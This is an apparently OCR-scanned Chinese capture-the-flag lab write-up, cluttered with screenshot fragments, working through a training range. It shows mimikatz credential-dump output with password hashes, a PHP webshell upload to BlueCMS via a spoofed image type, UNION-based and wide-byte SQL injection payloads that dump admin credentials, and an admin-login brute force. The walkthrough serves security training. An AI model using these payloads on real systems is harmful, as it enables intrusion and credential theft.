.#####. mimikat: .## ^ ##. 'A La U: ## / `## /*** Ber '## v ## / Uin '#####' Uin '#####' > D	z 2.2.0 (x86) #19041 Aug 10 2021 17:20:39 ie, A L'Amour" - (oe.eo) njamin DELPY gentilkiwi` ( benjamin@gentilkiwi.com ) nttps://blog.gentilkiwi.com/mimikatz ncent LE TOUX ( vincent.letoux@gmail.com ) nttps://pingcastle.com / https://mysmartlogon.com ****/
mimikatz # privilege Privilege '20' OK	e : : de bug
mimikatz # sekurlsa	::logonpasswords
Authentication Id : Session : User Name : Domain : Logon Server : Logon Time : SID : msv :	0 ; 297643522 (0000000:11bdae02) RemoteInteractive from 5 yuyu GONGKAIK-D45FB6 GONGKAIK-D45FB6 2021-10-21 4:24:03 S-1-5-21-2775063910-2920827999-2173817585-1012
L00000021 * Username * Domain * LM * NTLM * SHA1 wdigest: * Username * Domain * Password kerberos: * Username * Domain * Password sp: credman:	Primary : yuyu : GONGKAIK-D45FB6 : 87710058383227aa4aad3b435b51404ee : 17121639198d6045e091dfdbbfa8f3e0 : d7cfc4c56a55ae363e56d585f71920a87ea4bcc8 : yuyu : GONGKAIK-D45FB6 : 4567 : yuyu : GONGKAIK-D45FB6 : 4567
Authentication Id : Session : User Name : Domain : Logon Server : Logon Time : SID : msv :	0 ; 156768936 (0000000:09581aa8) RemoteInteractive from 3 Administrator GONGKAIK-D45FB6 GONGKAIK-D45FB6 2021-5-7 9:24:10 S-1-5-21-2775063910-2920827999-2173817585-500
LOOGOOOO21 * Username * Domain * LM * NTLM * SHA1 wdigest :	Primary : Administrator : GONGKAIK-D45FB6 : 4d582fa9df7504345e8e7baade1462e6 : 43322078afa889e76ead4e24593fe0f6 : 0da6cbfad62801060ae66a9d6c1d75599f354f44
* Username * Domain * Password kerberos : * Username * Domain * Password ssp :	: GONGKAIK-D45FB6 : wow!yougotit! : Administrator : GONGKAIK-D45FB6 : wow!yougotit!
credman : Authentication Id : Session : User Name : Domain :	Ø; 27520470 <00000000:01a3edd6> RemoteInteractive from 4 Administrator CSDN @F。N 嘿嘿 GONGKAIK-D45FB6

访问文件,得到flag

名称 🔻	类型	打包	己	大小	比	日期
🗐 想要找到小芳	文本文档	1 KB	是	1 KB	-7%	2019-1-16 19:57
C	想要找到小芳吗	9. txt - i	记事本			
<u>ک</u>	(件で) 编辑で)	格式 (0)	查看(V)	帮助(H)		
4	、芳在我的手。	<u>۲.</u> ۱				
Ť	果想要她活得	奇的话,				
傍	必须为我们	工作 i				
ri in the second se	哈哈你没有3	運由拒绝	我的. 氵	对吧?		
1. International I International International Internation	来找我吧."	完成靶场	衛八关.	、茶得ラ	も知ら	內资格吧!
	美士美FLAG{W	)W!vouao	tit!}	- 0410×	1.42.000	
-1	• 0/1:(		,	CS	DN	@F。N 嘿嘿

# 萌新也能找CMS漏洞

## 方法一:

在更改信息时,上传1.php,将content-type类型改为图片类型 image/jpeg

	会员中心	用户头像:	1	🖉 http://rhiq8003.ia.aqlab.cn:80 [59.63.200.79] 请求
	⊞ 本地新闻	上传新头像:	浏览 1.php	发送 丢弃 拦截请求 行动 Open Browser
	⊞ 分类信息	出生日期:	2021-10-21	Raw Params Headers Hex
	⊞ 充值中心	性 别:	◎ 保密 ○ 男 ○ 女	1 POST /bluecms/uploads/user.php HTTP/1.1 2 Host: rhiq8003.ia.aqlab.cn
	⊞ 用户管理	电子邮件地址:	123@qq.com	3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,iu
	▶ 我的个人资料 ▶ 修改密码	MSN :		5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0. 6 Accept-Encoding: gzip, deflate
	▶退出登录	QQ:		7 [Content-Type: multipart/form-data; boundary=278. 8 [Content-Length: 1783]
	Ⅲ 网站信息	办公电话:		9 Origin: http://rhiq8003.ia.aqlab.cn 10 Connection: close
L		家庭电话:		<pre>11 Referer: http://rhiq8003.ia.aqlab.cn/bluecms/uploads/user.php?act=my_info 12 Cookie: detail=4; PHPSESSID=rcpd6ldjb45nh6ug9iigc37nh4; BLUE[user_id]=20; 1</pre>
		手机:		13 Upgrade-Insecure-Requests: 1 14
		地址:		152785587819715551230619438653 16 Content-Disposition: form-data; name="face_pic1"
			确认修改	17 18 1
			网站首页	192785587819715551230619438653 20 Content-Disposition: form-data; name="face_pic2"; filename="1.php"
				21 Content-Type: image/jpeg
Hacke Encodin	Bar D 控制台 D 调试器 ↑↓ M	3络 {} 样式编辑器 (2) 性能 XXE 、 Other 、	②E内存 已存储 ★ 无障碍环境 設	翻应用程 22 23 php @eval (\$_POST['123']);? 24
Enoodin	IG OGE TO NOOT ENT			25 Content-Disposition: form-data; name="birthday"
http://rhiq8003.ia.aqlab.cn/bluecms/uploads/user.php?act=edit_news&id=20				26 27 2021-10-21 28
			li.	29 Content-Disposition: form-data; name="sex" 30
iware ksiaii	111			31 0 322785587819715551230619438653 33 Content-Disposition: form-data: name="email" CSDN @F。N 嘿嘿

### 上传成功

BlueCMS提示信息

 更新个人资料成功

 如果您的浏览器没有反应、请点击这里

 CSDN @F。N 嘿嘿

 指向图片,复制图片 地址

云贝甲心	会员资料	
⊞ 本地新闻	性别:	保密
⊞ 分类信息	注册时间:	2021-10-21

→ 充值中心	🗟 出生日期:	2021-10-21
	现居住地:	
⊞ 用户管理	邮箱:	123@qq.com
▶我的个人资料	QQ:	
▶ 修改密码 ▶ 退出登录	<b>反情提示</b> :请注意保护好您的用户信息,以传	R证您的帐号和资金安全!
⊞ 网站信息		
		CSDN @F。N 嘿嘿

### 用菜刀连接,得到flag

59.63.200.79	目录(8),文件(10)	名称	时间	大小	属性
E 🧼 C: Documents	and Settings	🚞 Program Files	2021-04-14 15:35:40	0	0555
i Inetpub Program Fi E PROVELTR	les	C RECYCLER	2021-10-21 12:04:03	0	0777
C System Vol:	ume Information	🔁 System Volume Information	2018-10-17 07:39:58	0	0777
WINDOWS		🔁 web	2019-05-27 09:22:33	0	0777
⊡ 🥪 D: ⊡ 🧰 phpStudy		C WINDOWS	2020-10-30 13:47:50	0	0777
⊡ 🗀 ₩₩₩ ⊡ 🧰 blue	Cm S	🚞 wmpub	2018-10-17 07:36:19	0	0777
u 🧰 u E 🕻	ploads	MUTOEXEC. BAT	2018-10-17 07:35:45	0	0777
[	∃ 🚞 upload 🨇 face_pic	a boot. ini	2018-10-17 07:28:34	210	0666
E 🛩 E: E 🧰 I386		bootfont. bin	2007-03-07 12:00:00	322730	0444
COMPDAT	A	CONFIG. SYS	2018-10-17 07:35:45	0	0666
LANG	2	flag txt	2018-04-02 11:25:38	23	0666
UP KIN9XUP C WINIMI	G	10. SYS	2018-10-17 07:35:45	o CSDN @F.	0444



不过flag不对,提交显示错误, (还有其他方法)

### 方法二:

源代码审计

在ad\_js.php里面传入的ad\_id参数并没有过滤sql注入的相关字符,故可从此注入

```
define('IN_BLUE', 'true);{
require_once_dirname(__FILE__) ·. '/include/common.inc.php';{
{
sad_id = !empty($_GET['ad_id']) ? 'trim($_GET['ad_id']) : '';[
if(empty($ad_id))]
{
%
echo 'Error!';{
> exit();{
}
%
ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);{
if($ad['time_set'] == 0)]
{
%
$ad_content = $ad['content'];{
}
}
```

查字

段为7个字段



## Error: Query error:SELECT \* FROM blue\_ad WHERE ad\_id =1 order by 8

C	♀ ● 查看器	lackBar	▶ 控制台	▶ 调试器	↑↓ ⊠≝	各 {}样	式编辑器	Ω 性能	① 内存
	Encryption -	Encoding -	SQL -	XSS -	LFI 👻	XXE -	Other -		
	Load U	JRL	http://rhiq8 order by 8	8003.ia.aql	ab.cn/blu	iecms/upl	loads/ad_ C	<b>js.php?ad_</b> SDN @F,	_id=1 N 嘿嘿

	I	W CARLINI	I I			1
						只有字段7显示
Ч	与交					
r	1.TL					
n	ning					
	$\leftarrow \rightarrow$	C	(	👌 rhiq8003.ia.aqlab.cn/blue	cms/uploads/ad_js.php?ad_id=1 union s	elect 1,2,3,4,5,6,7
	0. + 0				-	
	UN 仕线C	IF练习半台 - 时…	🦲 (8条消息)	niaotjx 🥑 CIF在线上具-CIF」	L	

▶ 查看器	HackBar	▶ 控制台	词试器	↑↓ 网络	{}样式编辑器	Ω 性能	①:内存	🖯 存储	<b>〒</b> 无障碍玩	<b>斥境 闘 应用程序</b>
Q、搜索 HTML									+ 🖋	♥ 过滤样式
document.wr</td <th>rite("7");&gt;</th> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td>元素 🖸 {</td>	rite("7");>									元素 🖸 {
<html></html>										}
<head></head>	•								CSD	N @F。N 嘿嘿

查库

$\leftarrow \rightarrow C$	🔿 👌 rhiq8003.ia. <b>aqlab.cn</b> /bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
🞗 在线CTF练习平台 - 时 🔼 (8条)	總) feiniaotjx 🧕 CTF在线工具-CTF工



查表,这里转义了',变成了 \',故可以使用 0x626c75655f74657374 (用16进制时,不需要加引号,并且前面需加0x)代 替 'blue\_test'

$\leftarrow$ $\rightarrow$ G	🛇 👌 ds/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,table_name from information_schema.tables where table_schema=0x626c75655f74657374 limit 2,1
🖉 在线CTF练习平台 - 时 🕻 (8条	消息) feiniaotix 💿 CTF在线工具-CTF工

R	查看器	HackBar	□ 调试器	↑↓ 网络	{}样式编辑器	⑦ 性能	①:内存	🖯 存储	╈ 无障碍环境	▷ 控	制台 闘 应用程序					
Q搜	索 HTML									+ 🖋	▼ 过滤样式	:hov .cls 🕂 👾 🤇		F 7	市局	计算值
<1- Zhi	-document.wr	rite("blue_ad	min");>								元素 🗘 { 、		内联	CS動作	<b>@</b> F,	N嘿嘿

### 查字段

$\leftarrow$ $\rightarrow$ G	🛇 👌 _js.php?ad_id=1 union select 1,2,3,4,5,6,column_name from information_schema.columns where table_name=0x626c75655f61646d696e limit 1,1
🔇 在线CTF练习平台 - 时 🕻 (8条)	總) feiniaotjx 🧕 CTF在线工具-CTF工

□ 查看器 ● HackBar ○ 控制台 ○ 调试器 1 网络 {} 样式编辑器 ○ 性能 ① 内存	F 🖻 存储 🛉 无障碍环境 🔡 应用程序	
Q 搜索 HTML	+ 🗡 🎖 过滤样式	:hov .cls 🕂 🔆 🕜 🗈 💽 布局 计算值
document.write("admin_name"); <html></html>	元素 • ( )	<sup>内联</sup> C5 <b>勞性</b> 會F。N 嘿嘿

$\leftarrow$ $\rightarrow$ G	🗘 👌 _js.php?ad_id=1 union select 1,2,3,4,5,6,column_name from information_schema.columns where table_name=0x626c75655f61646d696e limit 3,1
🕑 在线CTF练习平台 - 时 🖸 (8条)	消息) feiniaotix

R	🗘 査看器	🍘 HackBar	同 调试器	↑↓ 网络	{}样式编辑器	⑦ 性能	① 内存	🗄 存储	🕇 无障碍环境	Þ	2制台 闘 应用程序			
く想	索HTML									+ 1	? 过滤样式	:hov.cls 🕂 🔆 🛈 🖹	▶ 布局	计算值
<1 <h< td=""><td>-document.w</td><td>rite("pwd");-</td><td>-&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td>元素 <b>O</b> { }</td><td>内联</td><td>cs<b>b許性命</b>F,</td><td>N嘿嘿</td></h<>	-document.w	rite("pwd");-	->								元素 <b>O</b> { }	内联	cs <b>b許性命</b> F,	N嘿嘿

### 查字段内容,得到用户名与密码,密码需md5解密

$\leftarrow$ $\rightarrow$ G	O 👌 rhiq8003.ia. <b>aqlab.cn</b> /bluecms/uploads/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,admin_name from blue_admin
🞗 在线CTF练习平台 - 时 🔀 (8条消	搗) feiniaotjx 🧕 CTF在线工具-CTF工

▶ 查看器	HackBar	□ 调试器	↑↓ 网络	{}样式编辑器	∩ 性能 ⑧ ₽	内存 😑 存储	╈ 无障碍环境	1 🕥 控	制台 嘂 应用程序	
Q 搜索 HTML								+ 🖋	▼ 过滤样式	:hov .cls 🕂 🔆
document.w<br <html> <head><td>rite("admin")</td><td>;&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td><td>元素 <b>ゆ</b> { }</td><td>CSDN @F。N 嘿嘿</td></head></html>	rite("admin")	;>							元素 <b>ゆ</b> { }	CSDN @F。N 嘿嘿
$\leftarrow \rightarrow$ C		$\bigcirc$	👌 rhiq8	003.ia. <b>aqlab.c</b>	n/bluecms/up	oads/adjs.p	hp?ad_id=1 u	nion sel	ect 1,2,3,4,5,6,pw	d from blue_admin
A 在线CTF练习	平台 - 时 🔼	(8条消息) feir	niaotjx	€ CTF在线工	具-CTF工					

日本 白 音看器	🅘 HackBar	▶ 控制台	□ 调试器	↑↓ 网络	{}样式编辑器	Ω 性能	①:内存	🗄 存储	<b>青</b> 无	障碍玩	「境 闘 应用程序		
Q、搜索 HTML									+	ø	▼ 过滤样式	:hc	ov.cls +
document.w</th <th>rite("46120aa</th> <th>4aa7b5b27cc8</th> <th>1eb6cd0b8b9</th> <th>5d");&gt;</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th>元素 🗘 {</th> <th></th> <th></th>	rite("46120aa	4aa7b5b27cc8	1eb6cd0b8b9	5d");>							元素 🗘 {		
<html></html>										}	CSDN @F.	N嘿嘿	
<pre>chead&gt;c/head</pre>													

Виестя ТМ изпрямя.		
首页 本地新闻 分类	信息	
最新信息	捜索 	免费发布您的生活信息,欢迎使用!
	世区- ~ 123	发布信息         付费推广           帮助中心         留言建议
	搜索	还不是会员?马上 注册会员
分类头条	★ 100 年間の1000日日本の1000日日本の1000日本( 我上头条)	<b>推荐信息</b> 我要推荐
图文信息		热门信息

网站首页

BlueCMS — 第一款免费开源的专业地方门户系统,专注于地方门户的CMS!

Powered by BlueCMS v1.6

CSDN @F。N 嘿嘿

1 POST /bluecms/uploads/search.php HTTP/1.1 2 Host: rhiq8003.ia.aqlab.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) 4 Accept:	Raw Params Headers Hex	Raw Headers Hex Render
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, i mage/webp, #/*iq=0.8 5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 37 9 Origin: http://rhiq8003.ia.aqlab.cn 10 Connection: close 11 Referer: http://rhiq8003.ia.aqlab.cn/bluecms/uploads/info_index.php 12 Cookie: detail=5; BLUE[user_indl=20; BLUE[user_name]=hahaha.; BLUE[user_pwd]=820f4c034ldedf7f1279d549e466372b; PHPSESSID= 5jase3frukj3cleft/av06pct2 13 Upgrade-Insecure-Requests: 1 14 15 cid=&aid=1&keywords=123%df* kx=47&xy=13 CSDN @F, N 嘿!!	<pre>1 POST /bluecms/uploads/search.php HTTP/1.1 2 Host: rhiq8003.ia.aqlab.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 4 Accept: text/html.application/xhtml+xml,application/xml;q=0.9,image/avif,i mage/webp.*/*;q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 6 Accept-Emcoding: gzip, deflate 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 37 9 Origin: http://rhiq8003.ia.aqlab.cn 10 Connection: close 11 Referer: http://rhiq8003.ia.aqlab.cn/bluecms/uploads/info_index.php 12 Cookie: detail=5; BLUE[user_id]=20; BLUE[user_name]=hahaha.: BLUE[user_wd]=820f4c0341dedf712905498e466372b; PHPSESSID= 5 jass9r4rukj3iclnfva06pct2 13 Upgrade-Insecure-Requests: 1 14 15 cid=&amp;aid=1&amp;keywords=123%df' &amp;x=47&amp;y=13 </pre>	Error: Query error:SELECT COUNT(*) AS num FROM blue_post WHERE 1=1 AND area_id = 1 AND title LIKE %123運% OR keywords LIKE %123運%

# 基础工具运用:爆破管理员账户登录后台

找到后台登录页面

http://rhiq8003.ia.aqlab.cn/dami\_777/dami\_888/admin.php

$\leftarrow \rightarrow $ G	🔿 & rhiq8003.ia. <b>aqlab.cn</b> /dami_777/dami_888/admin.php?s=/Public/login.html	驟 ☆	գ Գ ≣
🔾 在线CTF练习平台 - 时 🤇	] (8条消息) feiniaotjx 🧕 CTF在线工具-CTF工		[]移动设备上的书
	Igent F: C F F: C F: C		
			CSDN @F。N 嘿嘿

### 开始爆破

请求	Payload1	Payload2	状态  ▼	错误	超时	长度	评论
60	zkaq	zkaq	302			497	
73	zkaq	zkaq	302			497	
0			200			1658	
1	admin	admin	200			1658	
2	zkaq	admin	200			1643	
3	root	admin	200			1658	
4	test	admin	200			1658	
5	system	admin	200			1658	
6	guest	admin	200			1658	
7	systemadmin	admin	200			1658	
8	test1	admin	200			1658	
9	test12	admin	200			1658	
10	tact123	admin	200			1659	
			_				CSDAL@F。 N 嘿嘿

## 登录得到flag

🗙 大米内容	:管理)	系统	管理首页	扩展字段	栏目管理	内容管理	清理缓存	一键升级	网站首页	大米官网	
① 平台省页 退出管理	管理员列表	[添加][管理组][权限节点]									
🏟 🖻 💻	ID	管理员名称		所在管理组		最后登陆时间		最后登陆IP			管理选项
网站配置 管理员 留言管理	1	zkaq		super	2021-10-22 21:02:16		112.44.105.51		修改 启用		
系统核心	4	flag{s_q_gjrm}		super	:	2020-12-04 00:43:2	7	106.6.16	37.10	修改 删除 启用	
<ul> <li>♥ 扩展字段</li> <li>● WERE</li> </ul>											
♥ 柱目管理											
▼ 內谷昌姓 其木管理											
插件工具											
APK配置											
会员系统											CSDN @F。N 嘿嘿